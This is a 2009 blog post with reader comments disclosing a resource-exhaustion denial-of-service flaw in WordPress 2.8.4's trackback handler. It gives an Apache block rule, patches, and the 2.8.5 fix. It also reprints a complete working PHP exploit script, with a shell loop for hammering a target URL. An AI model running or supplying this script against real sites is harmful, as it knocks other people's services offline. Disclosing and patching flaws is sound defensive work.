New 0-Day WordPress 2.8.4 Exploit


WordPress is vulnerable to a very dirty exploit right now as of 2.8.4. There’s a resource exhaustion DoS that is floating around the public right now. It’s a vulnerability in wp-trackbacks.php that hurts.

Here’s the results from a quick test against my server:

13:30:29 up 36 days, 1:06, 12 users, load average: 45.06, 17.11, 6.24

Very dirty.

Here’s a temporary fix that can be implemented until we get a real patch.

Add the following lines to your Apache 2 config file:
<Files ~ "wp-trackback.php">
Order allow,deny
Deny from all
</Files>

This should be placed in the main config, not a virtual hosts config. This will disable any URLs with “wp-trackback.php” in it. This is a quick and ugly fix, but will help against this attack.

I expect WordPress will have an update soon.

UPDATE: With the help of a friend we have created a quick fix:

In line #47 of wp-trackback.php, add this:

if(strlen($charset) > 50)
die;

Here’s the actual exploit.

<?php
/*
* wordpress Resource exhaustion Exploit
* http://rooibo.wordpress.com/
* [email protected] contacted and get a response,
* but no solution available.
*
* [18/10/2009 20:31:00] modified by Zerial http://blog.zerial.org <[email protected]>
*
* exploiting:
* you must install php-cli (command line interface)
* $ while /bin/true; do php wp-trackbacks_dos.php http://target.com/wordpress; done
*
*/
if(count($argv) < 2)
die("You need to specify a url to attack\n");
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
die("The url should have http:// in front of it, and should be complete.\n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
$path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol';
for($n = 0; $n <= 5; $n++){
$fp = @fsockopen($data['host'],80);
if(!$fp)
die("unable to connect to: ".$data['host']."\n");
$pid[$n] = pcntl_fork();
if(!$pid[$n]){
fputs($fp, "POST $path HTTP/1.1\r\n");
fputs($fp, "Host: ".$data['host']."\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: ".strlen($str)."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $str."\r\n\r\n");
echo "hit!\n";
}
}
?>

Be Sociable, Share!

, , ,

  1. #1 by Glenn Ansley on October 20, 2009 - 9:08 am

    Hi Steve,
    Thanks for the head’s up!
    We just created a quick plugin that accomplishes the same thing as your code in the event that some people may be uncomfortable editing PHP or core WordPress files.

    You can find it here: http://fullthrottledevelopment.com/wordpress-plugin-to-stop-trackback-dos-attacks

  2. #2 by Heather on October 20, 2009 - 1:51 pm

    Many thanks for this. I’ve secured all my WP installs.

  3. #3 by Elpie on October 20, 2009 - 7:00 pm

    WordPress 2.8.5: Hardening Release is out, which fixes this exploit. It’s just been released. http://j.mp/3gZDRS

  4. #4 by Gros on October 21, 2009 - 1:57 am

    Hello

    What do you think about

    if ( ($charset) && strtoupper( trim($charset))=== bloginfo(’charset’) )
    $charset = strtoupper( trim($charset)); //$charset=bloginfo(’charset’);
    else
    $charset = ‘ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS’;

    line 52, instead of :

    if ($charset)
    $charset = strtoupper( trim($charset) );
    else
    $charset = ‘ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS’;

    To stay in tradition?
    Cordially

  5. #5 by Gros on October 21, 2009 - 2:43 am

    escuse me, something like this:

    if ( ($charset) && strtoupper( trim($charset))=== get_option(’blog_charset’);
    $charset = strtoupper( trim($charset)); //$charset = get_option(’blog_charset’);
    else
    $charset = ‘ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS’;

  6. #6 by steve on October 21, 2009 - 7:49 am

    I’m sure there are a lot of ways to fix the bug. What I posted is just one of those.

    Gros :

    escuse me, something like this:

    if ( ($charset) && strtoupper( trim($charset))=== get_option(’blog_charset’);
    $charset = strtoupper( trim($charset)); //$charset = get_option(’blog_charset’);
    else
    $charset = ‘ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS’;

  7. #7 by Otto on October 21, 2009 - 9:16 am

    The fix in the WordPress 2.8.5 release is this:


    if ($charset)
    $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
    else
    $charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';

    That eliminates the commas and spaces from the charset string, eliminating the resource exhaustion.

  8. #8 by jez on October 23, 2009 - 4:16 am

    hey steve,

    I am running wp-mu on my sites and they did not update to 2.8.5 yet, reading your and glenn’s remarks I wonder if putting glenn’s plugin in the plugins folder and activating it sidewide will sort me out?

    cheers

  9. #9 by steve on October 23, 2009 - 8:02 am

    I haven’t looked at the MU setup before but if you can find the vulnerable code in wp-trackback.php, then it would be in your best interest to upgrade or apply the patch.

    jez :

    hey steve,

    I am running wp-mu on my sites and they did not update to 2.8.5 yet, reading your and glenn’s remarks I wonder if putting glenn’s plugin in the plugins folder and activating it sidewide will sort me out?

    cheers

(will not be published)